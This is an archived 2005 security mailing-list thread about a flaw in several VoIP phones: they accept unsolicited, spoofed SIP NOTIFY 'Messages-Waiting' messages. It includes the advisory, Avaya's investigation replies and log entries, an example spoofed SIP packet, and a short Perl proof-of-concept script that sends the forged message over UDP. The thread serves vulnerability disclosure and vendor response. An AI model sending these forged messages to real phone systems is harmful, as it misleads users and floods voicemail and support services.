Fwd: [VOIPSEC] VoIP-Phones: Weakness in proccessing SIP-Notify-Messages

[gary madsen]

FYI

---------- Forwarded message ----------
From: Mark Teicher <mht3@earthlink.net>
Date: Jul 7, 2005 7:06 PM
Subject: Re: [VOIPSEC] VoIP-Phones: Weakness in proccessing SIP-Notify-Mess=
ages
To: Tobias Glemser <tglemser@tele-consulting.com>
Cc: voipsec@voipsa.org


Interesting results when executed against the Avaya Softphone and
Avaya 4620. The Avaya Softphone throws an exception msg handler
window and the application process handler becomes unresponsive

At 03:16 AM 7/7/2005, Tobias Glemser wrote:
> Tele-Consulting GmbH
> security | networking | training
>
> advisory 05/07/06
>
>URL of this advisory:
>http://pentest.tele-consulting.com/a...oip-phones.txt
>
>
>Topic:
> Weakness in implemenation of proccessing SIP-Notify-Messages
> in VoIP-Phones.
>
>Summary:
> Due to ignoring the value of 'Call-ID' and even 'tag' and
> 'branch' while processing NOTIFY messages, VoIP-Hardphones
> process spoofed status messages like "Messages-Waiting".
>
> According to RFC 3265, Chap 3.2 every NOTIFY has to be em-
> bedded in a subcription mechanism. If there ain't knowledge
> of a subscription, the UAC has to respond with a "481
> Subscription does not exist" message.
>
> All tested phones processed the "Messages-Waiting" messages
> without prior subscriptions anywhere.
>
>Effect:
> An attacker could send "Messages-Waiting: yes" messages to
> all phones in a SIP-environment. Almost every phone proccesses
> this status message and shows the user an icon or a blinking
> display to indicate that new messages are available on the
> voice box.
>
> If the attacker sends this message to many recipients in a
> huge environment, it would lead to server peaks as many users
> will call the voice box at the same time.
> Because there are no new voice messages as indicated by the
> phone the users will call the support to fix this alleged server
> problem.
>
> All tested phones process the message with a resetted Call-ID,
> 'branch' and 'tag' sent by a spoofed IP-Adress.
>
>Example:
> Attacker spoofs the SIP-Proxys IP, here: 10.1.1.1
> Victim 10.1.1.2
>
> UDP-Message from Attacker to Victim
>
> Session Initiation Protocol
> Request-Line: NOTIFY sip:login@10.1.1.2 SIP/2.0
> Message Header
> Via: SIP/2.0/UDP 15.1.1.12:5060;branch=3D000000000000000
> From: "asterisk" <sip:asterisk@10.1.1.1>;tag=3D000000000
> To: <sip:login@10.1.1.2>
> Contact: <sip:asterisk@10.1.1.1>
> Call-ID: 00000000000000@10.1.1.1
> CSeq: 102 NOTIFY
> User-Agent: Asterisk PBX
> Event: message-summary
> Content-Type: application/simple-message-summary
> Content-Length: 37
> Message body
> Messages-Waiting: yes\n
> Voicemail: 3/2\n
>
>Solution:
> Phones who receive a NOTIFY message to which no subscription
> exists, must send a "481 Subscription does not exist" response.
> It should be possible to use the REGISTER request as a
> non-SUBSCRIBE mechanism to set up a valid subscription.
>
> This would reduce the possibility of an attack in a way, that
> only with a sniffed and spoofed subcription such an attack would
> be possible. Background is given by the way dialogs are des-
> cribed in RFC 3261 and the sections 5.5 and 3.2 of RFC 3265.
>
>
>Affected products:
> Cisco 7940/7960
> Grandstream BT 100
> others will be tested in future
>
>
>--
>Tobias Glemser
>
>
>TTTTTTT CCCC
> TT C tglemser@tele-consulting.com +49 (0)7032/97580 (fon)
> TT C pentest.tele-consulting.com +49 (0)7032/74750 (fax)
> TT C
> TT C Tele-Consulting GmbH, Siedlerstrasse 22-24, 71126 Gaeufelden
> TT CCCC security | networking | training
>
>
>_______________________________________________
>Voipsec mailing list
>Voipsec@voipsa.org
>http://voipsa.org/mailman/listinfo/voipsec_voipsa.org


_______________________________________________
Voipsec mailing list
Voipsec@voipsa.org
http://voipsa.org/mailman/listinfo/voipsec_voipsa.org

[Walton, John Michael]

All-

The Avaya Product Security Support Team (PSST) has been alerted to the
"Weakness in processing SIP-Notify-Messages" advisory. We are in the
process of investigating whether any Avaya SIP-enabled or H.323-enabled
devices are affected by these issues. In addition, we are attempting to
work with Mark to duplicate and validate his testing of the Avaya H.323
IPSoftphone and Avaya 4620 hard phone. Once our investigation is
complete we will update the list with our findings and, if necessary,
release an Avaya Security Advisory to address any outlined concerns.=20

The Avaya Product Security Support Team (PSST) takes the security of
Avaya products seriously. We would like to develop a relationship with
our customers and the public to encourage them to forward
vulnerabilities to us. Please send information regarding any discovered
security problems with Avaya products to securityalerts[at]avaya.com. I,
or someone on the PSST, will work directly to validate the problem and
coordinate a response; including an acknowledgement for working with us
to help protect customers.=20

Cheers,

John Walton, CISSP
Lead Security Engineer
Product Security Support Team (PSST)
Avaya, Inc.

-----Original Message-----
From: gary madsen [mailto:gmads.seclists@gmail.com]=20
Sent: Friday, July 08, 2005 7:55 AM
To: bugtraq@securityfocus.com
Subject: Fwd: [VOIPSEC] VoIP-Phones: Weakness in proccessing
SIP-Notify-Messages

FYI

---------- Forwarded message ----------
From: Mark Teicher <mht3@earthlink.net>
Date: Jul 7, 2005 7:06 PM
Subject: Re: [VOIPSEC] VoIP-Phones: Weakness in proccessing
SIP-Notify-Messages
To: Tobias Glemser <tglemser@tele-consulting.com>
Cc: voipsec@voipsa.org


Interesting results when executed against the Avaya Softphone and
Avaya 4620. The Avaya Softphone throws an exception msg handler
window and the application process handler becomes unresponsive

At 03:16 AM 7/7/2005, Tobias Glemser wrote:
> Tele-Consulting GmbH
> security | networking | training
>
> advisory 05/07/06
>
>URL of this advisory:
>http://pentest.tele-consulting.com/a...oip-phones.txt
>
>
>Topic:
> Weakness in implemenation of proccessing SIP-Notify-Messages
> in VoIP-Phones.
>
>Summary:
> Due to ignoring the value of 'Call-ID' and even 'tag' and
> 'branch' while processing NOTIFY messages, VoIP-Hardphones
> process spoofed status messages like "Messages-Waiting".
>
> According to RFC 3265, Chap 3.2 every NOTIFY has to be em-
> bedded in a subcription mechanism. If there ain't knowledge
> of a subscription, the UAC has to respond with a "481
> Subscription does not exist" message.
>
> All tested phones processed the "Messages-Waiting" messages
> without prior subscriptions anywhere.
>
>Effect:
> An attacker could send "Messages-Waiting: yes" messages to
> all phones in a SIP-environment. Almost every phone proccesses
> this status message and shows the user an icon or a blinking
> display to indicate that new messages are available on the
> voice box.
>
> If the attacker sends this message to many recipients in a
> huge environment, it would lead to server peaks as many users
> will call the voice box at the same time.
> Because there are no new voice messages as indicated by the
> phone the users will call the support to fix this alleged server
> problem.
>
> All tested phones process the message with a resetted Call-ID,
> 'branch' and 'tag' sent by a spoofed IP-Adress.
>
>Example:
> Attacker spoofs the SIP-Proxys IP, here: 10.1.1.1
> Victim 10.1.1.2
>
> UDP-Message from Attacker to Victim
>
> Session Initiation Protocol
> Request-Line: NOTIFY sip:login@10.1.1.2 SIP/2.0
> Message Header
> Via: SIP/2.0/UDP 15.1.1.12:5060;branch=3D000000000000000
> From: "asterisk" <sip:asterisk@10.1.1.1>;tag=3D000000000
> To: <sip:login@10.1.1.2>
> Contact: <sip:asterisk@10.1.1.1>
> Call-ID: 00000000000000@10.1.1.1
> CSeq: 102 NOTIFY
> User-Agent: Asterisk PBX
> Event: message-summary
> Content-Type: application/simple-message-summary
> Content-Length: 37
> Message body
> Messages-Waiting: yes\n
> Voicemail: 3/2\n
>
>Solution:
> Phones who receive a NOTIFY message to which no subscription
> exists, must send a "481 Subscription does not exist" response.
> It should be possible to use the REGISTER request as a
> non-SUBSCRIBE mechanism to set up a valid subscription.
>
> This would reduce the possibility of an attack in a way, that
> only with a sniffed and spoofed subcription such an attack would
> be possible. Background is given by the way dialogs are des-
> cribed in RFC 3261 and the sections 5.5 and 3.2 of RFC 3265.
>
>
>Affected products:
> Cisco 7940/7960
> Grandstream BT 100
> others will be tested in future
>
>
>--
>Tobias Glemser
>
>
>TTTTTTT CCCC
> TT C tglemser@tele-consulting.com +49 (0)7032/97580
(fon)
> TT C pentest.tele-consulting.com +49 (0)7032/74750
(fax)
> TT C
> TT C Tele-Consulting GmbH, Siedlerstrasse 22-24, 71126 Gaeufelden
> TT CCCC security | networking | training
>
>
>_______________________________________________
>Voipsec mailing list
>Voipsec@voipsa.org
>http://voipsa.org/mailman/listinfo/voipsec_voipsa.org


_______________________________________________
Voipsec mailing list
Voipsec@voipsa.org
http://voipsa.org/mailman/listinfo/voipsec_voipsa.org

[Javor Ninov]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

ZyXEL Prestige 2000W VoIP Wi-Fi Phone - VULNERABLE
and just a quick POC:

#!/usr/bin/perl
# SIP NOTIFY POC by DrFrancky@securax.org
use Socket;
SendSIPTo("10.0.0.1"); # IP of the phone

sub SendSIPTo{
$phone_ip = shift;
$MESG="NOTIFY sip:chaos\@$phone_ip:5060 SIP/2.0
Via: SIP/2.0/UDP 1.2.3.4:5060;branch=000000000000000
From: \"drfrancky\" <sip:drfrancky\@1.2.3.4>;tag=000000000
To: <sip:chaos\@$phone_ip>
Contact: <sip:drfrancky\@1.2.3.4>
Event: message-summary
Call-ID: drfrancky\@1.2.3.4
CSeq: 102 NOTIFY
Content-Type: application/simple-message-summary
Content-Length: 37
Messages-Waiting: yes
Voicemail: 3/2";

$proto = getprotobyname('udp');
socket(SOCKET, PF_INET, SOCK_DGRAM, $proto) ;
$iaddr = inet_aton("0.0.0.0");
$paddr = sockaddr_in(5060, $iaddr);
bind(SOCKET, $paddr) ;
$port=5060;
$hisiaddr = inet_aton($phone_ip) ;
$hispaddr = sockaddr_in($port, $hisiaddr);
send(SOCKET, $MESG, 0,$hispaddr ) || warn "send $host $!\n";
}



DrFrancky
Tobias Glemser wrote:
| Tele-Consulting GmbH
| security | networking | training
|
| advisory 05/07/06
|
| URL of this advisory:
| http://pentest.tele-consulting.com/a...oip-phones.txt
|
|
| Topic:
| Weakness in implemenation of proccessing SIP-Notify-Messages
| in VoIP-Phones.
|
| Summary:
| Due to ignoring the value of 'Call-ID' and even 'tag' and
| 'branch' while processing NOTIFY messages, VoIP-Hardphones
| process spoofed status messages like "Messages-Waiting".
|
| According to RFC 3265, Chap 3.2 every NOTIFY has to be em-
| bedded in a subcription mechanism. If there ain't knowledge
| of a subscription, the UAC has to respond with a "481
| Subscription does not exist" message.
|
| All tested phones processed the "Messages-Waiting" messages
| without prior subscriptions anywhere.
|
| Effect:
| An attacker could send "Messages-Waiting: yes" messages to
| all phones in a SIP-environment. Almost every phone proccesses
| this status message and shows the user an icon or a blinking
| display to indicate that new messages are available on the
| voice box.
|
| If the attacker sends this message to many recipients in a
| huge environment, it would lead to server peaks as many users
| will call the voice box at the same time.
| Because there are no new voice messages as indicated by the
| phone the users will call the support to fix this alleged server
| problem.
|
| All tested phones process the message with a resetted Call-ID,
| 'branch' and 'tag' sent by a spoofed IP-Adress.
|
| Example:
| Attacker spoofs the SIP-Proxys IP, here: 10.1.1.1
| Victim 10.1.1.2
|
| UDP-Message from Attacker to Victim
|
| Session Initiation Protocol
| Request-Line: NOTIFY sip:login@10.1.1.2 SIP/2.0
| Message Header
| Via: SIP/2.0/UDP 15.1.1.12:5060;branch=000000000000000
| From: "asterisk" <sip:asterisk@10.1.1.1>;tag=000000000
| To: <sip:login@10.1.1.2>
| Contact: <sip:asterisk@10.1.1.1>
| Call-ID: 00000000000000@10.1.1.1
| CSeq: 102 NOTIFY
| User-Agent: Asterisk PBX
| Event: message-summary
| Content-Type: application/simple-message-summary
| Content-Length: 37
| Message body
| Messages-Waiting: yes\n
| Voicemail: 3/2\n
|
| Solution:
| Phones who receive a NOTIFY message to which no subscription
| exists, must send a "481 Subscription does not exist" response.
| It should be possible to use the REGISTER request as a
| non-SUBSCRIBE mechanism to set up a valid subscription.
|
| This would reduce the possibility of an attack in a way, that
| only with a sniffed and spoofed subcription such an attack would
| be possible. Background is given by the way dialogs are des-
| cribed in RFC 3261 and the sections 5.5 and 3.2 of RFC 3265.
|
|
| Affected products:
| Cisco 7940/7960
| Grandstream BT 100
| others will be tested in future
|
|
| --
| Tobias Glemser
|
|
| TTTTTTT CCCC
| TT C tglemser@tele-consulting.com +49 (0)7032/97580 (fon)
| TT C pentest.tele-consulting.com +49 (0)7032/74750 (fax)
| TT C
| TT C Tele-Consulting GmbH, Siedlerstrasse 22-24, 71126 Gaeufelden
| TT CCCC security | networking | training

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (MingW32)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFC29SEck4kcwaj+YIRAuFHAJ96TyJSLht5oEg4YsgQ8t 35ZbQlDQCfWjus
BUebT6XwEIzBUMPPSmf+T8g=
=qeT4
-----END PGP SIGNATURE-----

[Walton, John Michael]

All-

Avaya is unable to duplicate any application unhandled exceptions,
crashes, or reboots due to unsolicited SIP NOTIFY message processing in
the Avaya 4620 and IP Softphone endpoints. Furthermore, Avaya tested a
number of variations of the unsolicited SIP NOTIFY messages including
utilizing network captures from Tobias Glemser. After a discussion with
Mark Teicher about his testing, Avaya is still unable to identify any
issues with the processing of unsolicited SIP NOTIFY messages in these
products. =20

Avaya has also tested SIP endpoints currently under development and we
have confirmed that they are not vulnerable - a "481 Subscription does
not exist" response is sent for unsolicited SIP NOTIFY messages as per
RFC 3265.
=20
Since the Avaya H.323 endpoints (e.g. 4620 and IP Softphone) don't open
or utilize any of the SIP ports (i.e. 5060 and 5061), messages to these
ports had no affect on the Avaya H.323 endpoints in our testing. For
thoroughness, Avaya tested ports on the Avaya H.323 endpoints, which are
open for processing H.323 messages. =20

On Avaya IP Softphone, the following log entries can be seen when a SIP
message is received, on open H.323 ports, from an unexpected address:

[07/08/2005 12:47:16:930] ERROR: RAS : processingPendingRead:
XXX.XXX.XXX.XXX is not in the server list. Discarding the message...

When a SIP message is received from a valid call server IP address, on
the open H.323 ports, the following log entries can be seen:

[07/08/2005 14:42:09:944] ERROR: RAS : RASIncomingMsg:
EmH225RASParseMessage failed. result=3D-939523830.
[07/08/2005 14:42:09:944] ERROR: RAS : processIncomingMsg: Validation
failed =20

These log entries are made to note that an invalid H.323 message was
received and discarded; however, Avaya did not witness any unhandled
exceptions or crashes in our testing. =20

Note: To view these messages, low level logging must be enabled. This
can be done by selecting "Tools" from the IP Softphone dropdown menu
followed by clicking "Program Options." Under "Program Options" select
"Event Logging" and check the box for IP Softphone "Enable ALL logging
for technical support". This change will require an application restart
and the above messages can be found in the "iClarity.txt" log file
located in the Avaya IP Softphone logging directory (i.e. "C:\Program
Files\Avaya\Avaya IP Softphone\Log Files").

If in the future, more information becomes available, Avaya is willing
to reevaluate our assessment and pursue the issue further. Information
regarding possible security issues in Avaya products or services should
be sent to securityalerts[at]avaya.com.

Cheers,

-John Walton, CISSP
Lead Security Engineer
Product Security Support Team (PSST)
Avaya, Inc.

-----Original Message-----
From: Walton, John Michael (John)=20
Sent: Friday, July 08, 2005 5:24 PM
To: bugtraq@securityfocus.com
Subject: RE: [VOIPSEC] VoIP-Phones: Weakness in proccessing
SIP-Notify-Messages

All-

The Avaya Product Security Support Team (PSST) has been alerted to the
"Weakness in processing SIP-Notify-Messages" advisory. We are in the
process of investigating whether any Avaya SIP-enabled or H.323-enabled
devices are affected by these issues. In addition, we are attempting to
work with Mark to duplicate and validate his testing of the Avaya H.323
IPSoftphone and Avaya 4620 hard phone. Once our investigation is
complete we will update the list with our findings and, if necessary,
release an Avaya Security Advisory to address any outlined concerns.=20

The Avaya Product Security Support Team (PSST) takes the security of
Avaya products seriously. We would like to develop a relationship with
our customers and the public to encourage them to forward
vulnerabilities to us. Please send information regarding any discovered
security problems with Avaya products to securityalerts[at]avaya.com. I,
or someone on the PSST, will work directly to validate the problem and
coordinate a response; including an acknowledgement for working with us
to help protect customers.=20

Cheers,

John Walton, CISSP
Lead Security Engineer
Product Security Support Team (PSST)
Avaya, Inc.

-----Original Message-----
From: gary madsen [mailto:gmads.seclists@gmail.com]=20
Sent: Friday, July 08, 2005 7:55 AM
To: bugtraq@securityfocus.com
Subject: Fwd: [VOIPSEC] VoIP-Phones: Weakness in proccessing
SIP-Notify-Messages

FYI

---------- Forwarded message ----------
From: Mark Teicher <mht3@earthlink.net>
Date: Jul 7, 2005 7:06 PM
Subject: Re: [VOIPSEC] VoIP-Phones: Weakness in proccessing
SIP-Notify-Messages
To: Tobias Glemser <tglemser@tele-consulting.com>
Cc: voipsec@voipsa.org


Interesting results when executed against the Avaya Softphone and
Avaya 4620. The Avaya Softphone throws an exception msg handler
window and the application process handler becomes unresponsive

At 03:16 AM 7/7/2005, Tobias Glemser wrote:
> Tele-Consulting GmbH
> security | networking | training
>
> advisory 05/07/06
>
>URL of this advisory:
>http://pentest.tele-consulting.com/a...oip-phones.txt
>
>
>Topic:
> Weakness in implemenation of proccessing SIP-Notify-Messages
> in VoIP-Phones.
>
>Summary:
> Due to ignoring the value of 'Call-ID' and even 'tag' and
> 'branch' while processing NOTIFY messages, VoIP-Hardphones
> process spoofed status messages like "Messages-Waiting".
>
> According to RFC 3265, Chap 3.2 every NOTIFY has to be em-
> bedded in a subcription mechanism. If there ain't knowledge
> of a subscription, the UAC has to respond with a "481
> Subscription does not exist" message.
>
> All tested phones processed the "Messages-Waiting" messages
> without prior subscriptions anywhere.
>
>Effect:
> An attacker could send "Messages-Waiting: yes" messages to
> all phones in a SIP-environment. Almost every phone proccesses
> this status message and shows the user an icon or a blinking
> display to indicate that new messages are available on the
> voice box.
>
> If the attacker sends this message to many recipients in a
> huge environment, it would lead to server peaks as many users
> will call the voice box at the same time.
> Because there are no new voice messages as indicated by the
> phone the users will call the support to fix this alleged server
> problem.
>
> All tested phones process the message with a resetted Call-ID,
> 'branch' and 'tag' sent by a spoofed IP-Adress.
>
>Example:
> Attacker spoofs the SIP-Proxys IP, here: 10.1.1.1
> Victim 10.1.1.2
>
> UDP-Message from Attacker to Victim
>
> Session Initiation Protocol
> Request-Line: NOTIFY sip:login@10.1.1.2 SIP/2.0
> Message Header
> Via: SIP/2.0/UDP 15.1.1.12:5060;branch=3D000000000000000
> From: "asterisk" <sip:asterisk@10.1.1.1>;tag=3D000000000
> To: <sip:login@10.1.1.2>
> Contact: <sip:asterisk@10.1.1.1>
> Call-ID: 00000000000000@10.1.1.1
> CSeq: 102 NOTIFY
> User-Agent: Asterisk PBX
> Event: message-summary
> Content-Type: application/simple-message-summary
> Content-Length: 37
> Message body
> Messages-Waiting: yes\n
> Voicemail: 3/2\n
>
>Solution:
> Phones who receive a NOTIFY message to which no subscription
> exists, must send a "481 Subscription does not exist" response.
> It should be possible to use the REGISTER request as a
> non-SUBSCRIBE mechanism to set up a valid subscription.
>
> This would reduce the possibility of an attack in a way, that
> only with a sniffed and spoofed subcription such an attack would
> be possible. Background is given by the way dialogs are des-
> cribed in RFC 3261 and the sections 5.5 and 3.2 of RFC 3265.
>
>
>Affected products:
> Cisco 7940/7960
> Grandstream BT 100
> others will be tested in future
>
>
>--
>Tobias Glemser
>
>
>TTTTTTT CCCC
> TT C tglemser@tele-consulting.com +49 (0)7032/97580
(fon)
> TT C pentest.tele-consulting.com +49 (0)7032/74750
(fax)
> TT C
> TT C Tele-Consulting GmbH, Siedlerstrasse 22-24, 71126 Gaeufelden
> TT CCCC security | networking | training
>
>
>_______________________________________________
>Voipsec mailing list
>Voipsec@voipsa.org
>http://voipsa.org/mailman/listinfo/voipsec_voipsa.org


_______________________________________________
Voipsec mailing list
Voipsec@voipsa.org
http://voipsa.org/mailman/listinfo/voipsec_voipsa.org

[Tobias Glemser]

List,

I just wanted to inform you that I wrote a tiny script, which enables
you to test the discussed vulnerability with your equipment.

This script works perfect with Grandstream BT100, Cisco phones won't
work on the fly. Please refer to the README for more information.

You can download the script here:
http://www.tele-consulting.com/index...nload&what=snf

(german website, but you should be able to download it. If not, feel
free to send me an eMail).


Cheers,

Tobias Glemser
Tele-Consulting security | networking | training GmbH

Tobias Glemser wrote on 06.07.2005 18:20:
> Tele-Consulting GmbH
> security | networking | training
>
> advisory 05/07/06
>
> URL of this advisory:
> http://pentest.tele-consulting.com/a...oip-phones.txt
>
>
> Topic:
> Weakness in implemenation of proccessing SIP-Notify-Messages
> in VoIP-Phones.
>
> Summary:
> Due to ignoring the value of 'Call-ID' and even 'tag' and
> 'branch' while processing NOTIFY messages, VoIP-Hardphones
> process spoofed status messages like "Messages-Waiting".
>
> According to RFC 3265, Chap 3.2 every NOTIFY has to be em-
> bedded in a subcription mechanism. If there ain't knowledge
> of a subscription, the UAC has to respond with a "481
> Subscription does not exist" message.
>
> All tested phones processed the "Messages-Waiting" messages
> without prior subscriptions anywhere.
>
> Effect:
> An attacker could send "Messages-Waiting: yes" messages to
> all phones in a SIP-environment. Almost every phone proccesses
> this status message and shows the user an icon or a blinking
> display to indicate that new messages are available on the
> voice box.
>
> If the attacker sends this message to many recipients in a
> huge environment, it would lead to server peaks as many users
> will call the voice box at the same time.
> Because there are no new voice messages as indicated by the
> phone the users will call the support to fix this alleged server
> problem.
>
> All tested phones process the message with a resetted Call-ID,
> 'branch' and 'tag' sent by a spoofed IP-Adress.
>
> Example:
> Attacker spoofs the SIP-Proxys IP, here: 10.1.1.1
> Victim 10.1.1.2
>
> UDP-Message from Attacker to Victim
>
> Session Initiation Protocol
> Request-Line: NOTIFY sip:login@10.1.1.2 SIP/2.0
> Message Header
> Via: SIP/2.0/UDP 15.1.1.12:5060;branch=000000000000000
> From: "asterisk" <sip:asterisk@10.1.1.1>;tag=000000000
> To: <sip:login@10.1.1.2>
> Contact: <sip:asterisk@10.1.1.1>
> Call-ID: 00000000000000@10.1.1.1
> CSeq: 102 NOTIFY
> User-Agent: Asterisk PBX
> Event: message-summary
> Content-Type: application/simple-message-summary
> Content-Length: 37
> Message body
> Messages-Waiting: yes\n
> Voicemail: 3/2\n
>
> Solution:
> Phones who receive a NOTIFY message to which no subscription
> exists, must send a "481 Subscription does not exist" response.
> It should be possible to use the REGISTER request as a
> non-SUBSCRIBE mechanism to set up a valid subscription.
>
> This would reduce the possibility of an attack in a way, that
> only with a sniffed and spoofed subcription such an attack would
> be possible. Background is given by the way dialogs are des-
> cribed in RFC 3261 and the sections 5.5 and 3.2 of RFC 3265.
>
>
> Affected products:
> Cisco 7940/7960
> Grandstream BT 100
> others will be tested in future
>
>
> --
> Tobias Glemser
>
>
> TTTTTTT CCCC
> TT C tglemser@tele-consulting.com +49 (0)7032/97580 (fon)
> TT C pentest.tele-consulting.com +49 (0)7032/74750 (fax)
> TT C
> TT C Tele-Consulting GmbH, Siedlerstrasse 22-24, 71126 Gaeufelden
> TT CCCC security | networking | training
>